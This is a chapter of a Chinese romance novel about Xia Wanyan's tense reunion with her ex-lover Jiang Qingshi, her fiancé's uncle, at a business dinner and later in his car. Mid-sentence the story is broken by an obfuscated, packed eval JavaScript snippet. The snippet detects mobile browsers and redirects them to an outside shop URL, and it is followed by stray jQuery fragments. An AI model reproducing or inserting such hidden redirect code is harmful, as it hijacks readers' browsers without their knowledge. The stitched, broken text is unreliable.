一句话就戳到了夏晚烟的软肋。
夏晚烟笑意轻浅了几分,找借口:“我已经退烧了,再说,你不是让江琪鸣带我去医院吗?所以……”
她偏头看着江清时笑了下,转身往前走:“你就别管了。”
身后半天没回声,夏晚烟脚步不停,感觉到江清时就不远不近地跟在她身后。
经过办公区,林知理和张总他们站在一起,冲这边招手:“走了,吃饭去。”
餐厅就在麦擎隔壁,也是一幢二层小楼,专做特色私房菜。
进了包厢,林知理本着促进交流的原则安排座位,让两家公司的人交叉入座,夏晚烟左边被安排了张总,右边是江清时。
林知理坐在张总旁边,递给夏晚烟一个遗憾的眼神,悄悄发了条消息给她:[其实我很想坐那个帅哥旁边,可惜不符合礼数。]
夏晚烟笑,心说林知理要是知道江清时的身份,估计得懊恼死,这么安排才是不符合礼数。
红酒已经提前倒进了醒酒器,夏晚烟坐主位,服务员自然而然地走到她旁边,先给她倒酒。
高脚杯被一双骨节分明的手拿走,搁置一边,江清时淡声:“她不能喝酒。”
夏晚烟左手支着下巴,侧头看向江清时:“……”
原本毫无交集的两个人,在会议上全程零交流,此刻却突然上演这样一段明显熟稔的互动,众人的目光齐刷刷地在两人之间来回游移。
张总震惊得差点没拿住筷子。
林知理则双眼放光,一副八卦的表情。
夏晚烟也没想到江清时会这么直接,丝毫不避讳。
“抱歉,差点忘了说。”她从容地迎上众人探究的目光,莞尔,“最近在吃药,不能喝酒。”
“给她换杯温水。”
江清时对服务员说。
林知理眼神愈加八卦,冲夏晚烟暧昧眨眼:“要不给我们介绍一下?”
夏晚烟一时也不知道该如何介绍江清时,侧头看了眼他,见他一副冷冷清清事不关己的样子,只好言简意赅地说:“他的名字是江清时。”
“……”林知理满眼问号,“然后呢?我知道他来自江氏集团,关键是你们……”
话到此处,林知理恍然大悟:“明白了,姓江,所以他是江琪鸣的……?”
“小叔叔。”夏晚烟回。
话落,就感觉到江清时瞥过来一眼。
这么介绍确实很敷衍,仿佛她和江清时之间要靠江琪鸣才能扯上关系。
但这也是事实,她和江清时早在五年前就结束了,前任这层关系,江清时不说,她自然也不会说,要不然肯定会在江家引起轩然大波。
“原来如此。”
林知理八卦完毕,暧昧神色没了。
小叔叔照顾下侄子女朋友,很正常。
她回归正题:“那我们一起来喝一杯?”
众人纷纷举杯。
夏晚烟和张总碰完杯,又自然而然地和江清时碰杯,这才发现他也端着杯白水。
“你不喝点?”她问。
在凤城时,江清时做为酒吧老板兼调酒师,其实也挺爱喝酒的,只是他酒量太好,她从没见他醉过。
玻璃杯被随意捏在指间,在她杯沿处轻轻碰了下,水波微荡,发出一声清澈的声响。
夏晚烟恍惚间忆起在光线暗昧的凤城酒吧——
那时她和江清时已混熟,她坐在吧台高脚凳上,拽着江清时衣角不放,要求再来一杯。
江清时被她缠得没办法,往她面前放了杯甜酒,冷白修长的手指捏着杯威士忌和她的甜酒碰杯,声线凉凉的,警告:“夏晚嫣,醉了老实点。”
“开车。”
身旁,江清时简短的两个字将她从回忆中拉回。
夏晚烟侧眸看过去,刚好看到江清时喝了口水,下颌线条凌厉,喉结随着吞咽的动作上下滚动。
她下意识收回视线,自然而然地想起酒吧那晚的后续——
她醉了怎么可能老实,一杯甜酒入口,江清时过来收拾吧台的时候,俯身擦台面,喉结线条在暗昧光影下利落又性感,就在她眼前晃,她晕乎乎的,色向胆边生,直接抬手环住他脖颈,亲了上去。
整个酒吧的人都震惊了,江清时那张向来清冷自持的脸,差点裂开。酒醒后,她连续一周没敢再去找江清时。
但是据朋友说,她一战成名,那一周即便她不在,想撩江清时的女人也少了不少,仿佛江清时已经被她标记,成了她的人了。
夏晚烟收回思绪,将水杯送到唇边抿了口。
菜品很丰盛。
夏晚烟喜欢吃辣,将辣子鸡丁转到面前,夹了一块放进碗里。
林知理正给张总添酒,余光注意到,刚想提醒她生病少吃辣,就见江清时先一步开口。
“别吃辣。”
夏晚烟夹起鸡丁:“我想吃。”
“病好了再吃。”
“就吃一块。”
视线对上,几秒后,江清时似是妥协,把自己那杯白水放到夏晚烟面前:“洗一下再吃。”
夏晚烟筷子移过去,在杯口上方松开,鸡块坠落清水,玻璃杯中浮起一圈圈红色辣油,复又被夹出,她送进嘴边咬了一口,小声嫌弃:“都不好吃了。”
江清时不以为意地勾了下唇,指尖在玻璃转盘上随意一划,那盘色泽诱人的辣子鸡丁便从夏晚烟面前远远离去。
林知理全程看在眼里,八卦的心又有点蠢蠢欲动。
虽然夏晚烟和江清时交流不多,虽然两人之间的气氛也冷冷淡淡的,虽然是小叔叔关照侄子女朋友,虽然她没注意江清时那杯水有没有喝过。
但是直觉上,她总觉得这两人不清白,眼神动作间有种丝丝缕缕的纠缠。
餐后散场,林知理拉着夏晚烟,趁着两人一起走回公司的间隙,忍不住八卦:“江琪鸣小叔叔这么帅,以前怎么从没听你提起过?”
“之前不在北城,刚回来。”
“刚回来……”林知理思索了几秒,问,“那你俩怎么看起来很熟悉?”
夏晚烟脚步微顿,否认:“哪有?”
林知理知道她在凤城谈了场无疾而终的恋爱,但是不知道那个人就是江清时。
“太可惜了。”林知理也没深究,意味深长地开玩笑,“你的娃娃亲对象如果是这个小叔叔就完美了,就这张脸,一看就是你的菜。”
闺蜜过于了解她,夏晚烟心虚嘴硬:“江琪鸣也挺帅的。”
一辆黑色宾利从后面开过来,停驻身侧,驾驶座上,是江清时那张清绝俊美的脸。
“上车。”
夏晚烟问:“做什么?”
“去医院。”
她抬脚就走:“我不去,我自己有安排。”
“哎等等。”林知理深知夏晚烟讳疾忌医的毛病,出于关心,拉着她往江清时车里送,半哄半劝,“去吧大小姐,生病不能拖,而且小叔叔的面子,也不好随便忤逆。”
“什么小叔叔?”夏晚烟人被塞进副驾,嘴上还在和林知理强调,“他是江琪鸣小叔叔,又不是我的。”
车门被林知理砰地一声关上,林知理带笑的话从车窗透进来:“早晚不也是你的?”
“……”
夏晚烟无言以对,转头看了眼江清时冷若冰霜的侧脸,没再挣扎,默默系上安全带。
车子直接驶出楼前小道,汇入川流不息的车流,一路驶上高架。
玫红色的月季随风微摆,在车窗外快速后退。
车内很安静,没有音乐,也没人说话。
即便不说话,夏晚烟还是觉得江清时存在感太强,冷冽气息透着压迫感,丝丝缕缕地侵袭着她周围的空气。
“还有多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310772|198830||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
久?”她找话题。
“半小时。”
夏晚烟默默往车门方向靠:“那我睡一会。”
眼睛还没来得及闭上,就被江清时看穿,身侧传来一句,“你困?”
没给她伪装的机会,她一点都不想聊的话题便被扔了过来,“江琪鸣怎么没带你去医院?”
“我上午要开会。”夏晚烟解释了句,顿了顿,又补充,“而且我自己也可以去输液,你其实不必安排江琪鸣带我去,他还要上课。”
默了几秒。
江清时哼笑了声。
“你现在倒是体贴。”
怎么听都带着点讽刺的意思。
言下之意呼之欲出。
夏晚烟一时语塞。
在凤城那段日子,她很爱黏着江清时,江清时表面冷淡,实则处处纵容。
那年有段时间奶奶外出,她干脆搬去和江清时同住,蹭他的饭,占他的床,在外头惹了祸也理直气壮地让他收拾残局,江清时照单全收,把她惯得愈发无法无天。
她在江清时面前,实在和体贴两个字沾不上边。
“人是会成长的。”半晌,她硬着头皮回。
话音未落,空气中隐约传来一声轻嗤,带着几分嘲弄意味,随即再次陷入安静。
车子变道,平稳加速。
夏晚烟的手机冷不丁地响了起来,屏幕上显示“江琪鸣”三个字。
盯着来电显示,她指尖顿了顿,不用接都知道,江琪鸣肯定是来问她输液的事。
可现在她正坐在江清时的车里,这个电话接也不是,不接也不是。
铃声执着地响着。
“心虚什么?”
江清时开口,语气凉薄。
他的视线从她僵住的手指移到她脸上,那目光仿佛能穿透人心,叫她那点小心思无处可藏。
夏晚烟索性接起电话。
江琪鸣声音听起来懒洋洋的:“晚烟,忙完了没?下午去输液吗?我去接你?”
夏晚烟一个问题都不想回答,反问:“你今天不用上课吗?”
“我昨天已经请过假了,今天就没去学校。”
“那你上午做什么了?”
电话里,江琪鸣嘿嘿笑了几声:“昨晚在酒吧玩太晚,结束后直接在酒店睡到现在,你要帮我保密啊,千万别告诉家里人。”
夏晚烟侧眸瞥了眼江清时,车里太安静,即便手机没开免提,估计江清时也听到了。
不过江清时看起来没什么反应,好像没听到一样。
江琪鸣下句话又绕了回去:“对了,输液还是得去的,你在公司吗?我现在就去接你。”
车子驶出高架,前方红灯,车速平缓下降,最后在斑马线前稳稳停住。
江清时单手搭着方向盘,侧头看过来,靠着椅背姿态松弛,眸色依旧清冷,只是此刻多了几分耐人寻味的审视。
“我不在公司。”夏晚烟本来就不想让江琪鸣陪,也不想和江琪鸣说太多,忽略来自主驾的视线,含糊推辞,“放心,我自己可以,好了跟你说。”
江琪鸣也不是个坚持的人,打着哈欠笑道:“那我再睡一会,你输完液给我打电话。”
夏晚烟应了声,挂掉电话。
红灯转绿,车子提速前行。
视线里,修长的手指不紧不慢地轻叩两下方向盘。
“是成长了。”江清时目视前方,接了她之前那句话,低冷声线被刻意放缓,“会撒谎了。”
夏晚烟下意识转头想要解释。
恰在此时,江清时也偏过头来。
视线在半空猝然相撞。
夏晚烟呼吸一滞。
重逢以来,她第一次在江清时那双淡漠无谓的眸色里,看到了曾经熟悉的锋芒。
强势,直接。
“怎么不告诉他,你在我车上。”